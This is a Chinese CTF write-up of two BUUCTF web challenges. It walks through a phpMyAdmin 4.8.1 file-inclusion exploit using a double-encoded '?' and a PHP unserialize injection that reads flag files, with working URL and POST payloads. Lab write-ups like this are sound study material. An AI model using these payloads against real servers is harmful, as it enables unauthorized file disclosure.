[BT]BUUCTF刷题第20天(4.22)

news2024/11/16 16:01:49

第20天

Web

[GWCTF 2019]我有一个数据库

在这里插入图片描述
打开网站发现乱码信息(查看其他题解发现显示的是:我有一个数据库,但里面什么也没有~ 不信你找

但也不是明显信息,通过dirsearch扫描得到robots.txt,然后在里面得到了

User-agent: *
Disallow: phpinfo.php

访问phpinfo.php
在这里插入图片描述

不过这里我没有找到什么有用的信息,这里根据题解访问/phpmyadmin

在这里插入图片描述
看到phpMyAdmin版本是4.8.1,这个版本的index.php文件里有一个漏洞可以读取文件,点击这篇文章详细了解原理

然后构造?target=pdf_pages.php%253f/../../../../../../../../etc/passwd

源码内对URL进行了?分割,在分割前,对参数进行了urldecode,且如果?号前面的文件名称在白名单里,就可以绕过,这样我们令target=db_sql.php(db_sql.php是白名单里其中一个),二是在传参使对?进行二次URL编码,即?变为%253f

最后构造完整的URL

http://ad1cc1dc-3db1-48a8-8c40-8957b62c6e8a.node5.buuoj.cn:81/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag

在这里插入图片描述

[安洵杯 2019]easy_serialize_php

在这里插入图片描述
打开网站点击看到源代码

<?php

$function = @$_GET['f'];   		//通过GET方法对f参数进行传值

function filter($img){          //一个过滤函数,过滤$img参数的php后缀等
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);			//销毁原$_SESSION,如果设置了的话
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);               /* 该函数使用数组键名作为变量名,使用数组键值作为变量值。 
								即extract($_POST);可以接受Post请求(同时覆盖原值) */

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');     		
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}

$serialize_info = filter(serialize($_SESSION));        //先对$_SESSION进行一次序列化,再对序列化结果进行一次过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){      			   //我们要执行到这里
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据明显提示构造URL/index.php?f=phpinfo

在这里插入图片描述
在里面发现了预包含文件: d0g3_f1ag.php

php.ini 配置文件中设置了 auto_append_file 指令后,PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式,确保某些代码或功能被一致地包含在所有 PHP 脚本中,而无需单独修改每个脚本,即预包含。

猜测后面需要读取到这个文件,接下来就是构造URL部分的内容:

/index.php?f=show_image

为了执行

echo file_get_contents(base64_decode($userinfo['img']));

接着构造POST方法里面的部分:
这里我们要让$userinfo['img']的值是ZDBnM19mMWFnLnBocA==(d0g3_f1ag.php的Base64编码,传进去后会被解码),这样才能读取d0g3_f1ag.php文件

但是因为这段代码让我们不管设没设置img_path,都会将$_SESSION['img'](也就是后面的$userinfo['img'])改成我们不想要的值

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');     		
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}

但是$userinfo = unserialize($serialize_info);这句代码又让我们看到了希望,它正好在echo命令的上面一行,我们考虑对$serialize_info进行反序列化后会包含img : ZDBnM19mMWFnLnBocA==

这里来到了$serialize_info = filter(serialize($_SESSION));,它首先会对传进来的$_SESSION进行序列化然后过滤参数

直接给出POST部分的内容

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;};

这里user的值(也就是那8个flag)总长度为24是为了让PHP往后读取合适的24个长度,而function里面的具体值是我们精心构造的

但是经过网站序列化加过滤得到的是:

a:2:{s:4:“user”;s:24:“”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";}

这里主要是s:4:"user";s:24
意思是user这个键的值长度应该是24的,但是可以看到后面跟的是"",长度是0,那么PHP就不认这个,它认";s:8:"function";s:59:"a";s:3:(刚好长度是24),然后左右两边也有引号括着的,那么接着就读img这个键,这个键正常读。后面还有一个dd键是为了满足三个默认参数的要求的

也就是说经过这么一弄,function这个键没了,只有userimg以及dd

然后在读到的d0g3_f1ag.php注释里看到了新的提示文件d0g3_fllllllag

在这里插入图片描述

将以上Payload的对应值改成L2QwZzNfZmxsbGxsbGFn/d0g3_fllllllag对应的Base64编码,注意要加斜杠)
即:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;s:2:“dd”;s:1:“a”;};

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1616278.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

echarts 双堆叠柱状图(数据整理)

1.后台返回的数据格式 {"code": "0000","message": "","messageCode": "操作成功","sign": null,"detail": null,"data": {"pieChart": [{"key": "产品…

C++之写时复制(CopyOnWrite)

设计模式专栏&#xff1a;http://t.csdnimg.cn/4j9Cq 目录 1.简介 2.实现原理 3.QString的实现分析 3.1.内部结构 3.2.写入时复制 4.示例分析 5.使用场景 6.总结 1.简介 CopyOnWrite (COW) 是一种编程思想&#xff0c;用于优化内存使用和提高性能。COW 的基本思想是&am…

编译支持播放H265的cef控件

接着在上次编译的基础上增加h265支持编译支持视频播放的cef控件&#xff08;h264&#xff09; 测试页面&#xff0c;直接使用cef_enhancement,里边带着的那个html即可&#xff0c;h265视频去这个网站下载elecard,我修改的这个版本参考了里边的修改方式&#xff0c;不过我的这个…

Reactor 模式

目录 1. 实现代码 2. Reactor 模式 3. 分析服务器的实现具体细节 3.1. Connection 结构 3.2. 服务器的成员属性 3.2. 服务器的构造 3.3. 事件轮询 3.4. 事件派发 3.5. 连接事件 3.6. 读事件 3.7. 写事件 3.8. 异常事件 4. 服务器上层的处理 5. Reactor 总结 1…

开源啦!一键部署免费使用!Kubernetes上直接运行大数据平台!

市场上首个K8s上的大数据平台&#xff0c;开源啦&#xff01; 智领云自主研发的首个 完全基于Kubernetes的容器化大数据平台 Kubernetes Data Platform (简称KDP) 开源啦&#x1f680;&#x1f680; 开发者只要准备好命令行工具&#xff0c;一键部署 Hadoop&#xff0c;Hi…

JavaScript(二)

JavaScript的语法 1.JavaScript的大小写 在JavaScript中&#xff0c;大小写是敏感的&#xff0c;这意味着大小写不同的标识符被视为不同的变量或函数。例如&#xff0c;myVariable 和 myvariable 被视为两个不同的变量。因此&#xff0c;在编写JavaScript代码时&#xff0c;必…

函数声明与调用:接口原型、参数传递顺序、返回值

示例&#xff1a; /*** brief how about function-declare-call? show you here.* author wenxuanpei* email 15873152445163.com(query for any question here)*/ #define _CRT_SECURE_NO_WARNINGS//support c-library in Microsoft-Visual-Studio #include <stdio.h&…

上位机图像处理和嵌入式模块部署(树莓派4b实现多进程通信)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 和mcu固件、上位机软件不太一样的地方&#xff0c;嵌入式设备上面上面的工业软件一般都是多进程的形式。相比较多线程而言&#xff0c;整个系统就不…

springcloudgateway集成knife4j

上篇我们聊聊springboot是怎么继承knife4j的。springboot3 集成knife4j-CSDN博客 本次我们一起学习springcloudgateway集成knife4j。 环境介绍 java&#xff1a;17 SpringBoot&#xff1a;3.2.0 SpringCloud&#xff1a;2023.0.0 knife4j &#xff1a; 4.4.0 引入maven配置…

# 从浅入深 学习 SpringCloud 微服务架构(四)Ribbon

从浅入深 学习 SpringCloud 微服务架构&#xff08;四&#xff09;Ribbon 段子手168 一、ribbon 概述以及基于 ribbon 的远程调用。 1、ribbon 概述&#xff1a; Ribbon 是 Netflixfa 发布的一个负载均衡器,有助于控制 HTTP 和 TCP客户端行为。 在 SpringCloud 中 Eureka …

就业班 第三阶段(负载均衡) 2401--4.19 day3 nginx3

二、企业 keepalived 高可用项目实战 1、Keepalived VRRP 介绍 keepalived是什么keepalived是集群管理中保证集群高可用的一个服务软件&#xff0c;用来防止单点故障。 ​ keepalived工作原理keepalived是以VRRP协议为实现基础的&#xff0c;VRRP全称Virtual Router Redundan…

用python selenium实现短视频一键推送

https://github.com/coolEphemeroptera/VIVI 效果如下 demo 支持youtube视频搬运

iPerf 3 测试UDP和TCP方法详解

文章目录 前言一、What is iPerf / iPerf3 ?二、功能1. TCP and SCTP2. UDP3. 其他 三、 Iperf的使用1.Iperf的工作模式2. 通用指令3. 服务端特有选项4. 客户端特有选项5. -t -n参数联系 四、Iperf使用实例1. 调整 TCP 连接1. 1TCP 窗口大小调节1. 2 最大传输单元 (MTU)调整 2…

【python项目推荐】键盘监控--统计打字频率

原文&#xff1a;https://greptime.com/blogs/2024-03-19-keyboard-monitoring 代码&#xff1a;https://github.com/GreptimeTeam/demo-scene/tree/main/keyboard-monitor 项目简介 该项目实现了打字频率统计及可视化功能。 主要使用的库 pynput&#xff1a;允许您控制和监…

kafka 命令行使用 消息的写入和读取 quickstart

文章目录 Intro命令日志zookeeper serverkafka servercreate topic && describe topic Intro Kafka在大型系统中可用作消息通道&#xff0c;一般是用程序语言作为客户端去调用kafka服务。 不过在这之前&#xff0c;可以先用下载kafka之后就包含的脚本文件等&#xff0…

在Spring Boot应用中实现阿里云短信功能的整合

1.程序员必备程序网站 天梦星服务平台 (tmxkj.top)https://tmxkj.top/#/ 2.导入坐标 <dependency><groupId>com.aliyun</groupId><artifactId>aliyun-java-sdk-core</artifactId><version>4.5.0</version></dependency><…

Spring IOC 和 DI详解

目录 一、IOC介绍 1、什么是IOC 2、通过案例来了解IoC 2.1 传统程序开发 2.2 问题分析 2.3 解决方案 2.4 IoC程序开发 2.5 IoC 优势 二、DI介绍 三、IOC 详解 3.1 Bean的存储 3.1.1 Controller&#xff08;控制器存储&#xff09; 3.1.2 Service&#xff08;服务存…

照片相似性搜索引擎Embed-Photos;赋予大型语言模型(LLMs)视频和音频理解能力;OOTDiffusion的基础上可控制的服装驱动图像合成

✨ 1: Magic Clothing Magic Clothing是一个以可控制的服装驱动图像合成为核心的技术项目&#xff0c;建立在OOTDiffusion的基础上 Magic Clothing是一个以可控制的服装驱动图像合成为核心的技术项目&#xff0c;建立在OOTDiffusion的基础上。通过使用Magic Clothing&#xf…

hadoop安装记录

零、版本说明 centos [rootnode1 ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core)jdk [rootnode1 ~]# java -version java version "1.8.0_311" Java(TM) SE Runtime Environment (build 1.8.0_311-b11) Java HotSpot(TM) 64-Bit Server VM (…

STL_List与萃取

List 参考文章: https://blog.csdn.net/weixin_45389639/article/details/121618243 List源码 List中节点的定义&#xff1a; list是双向列表&#xff0c;所以其中节点需要包含指向前一节点和后一节点的指针&#xff0c; data是节点中存储的数据类型 template <class _Tp&g…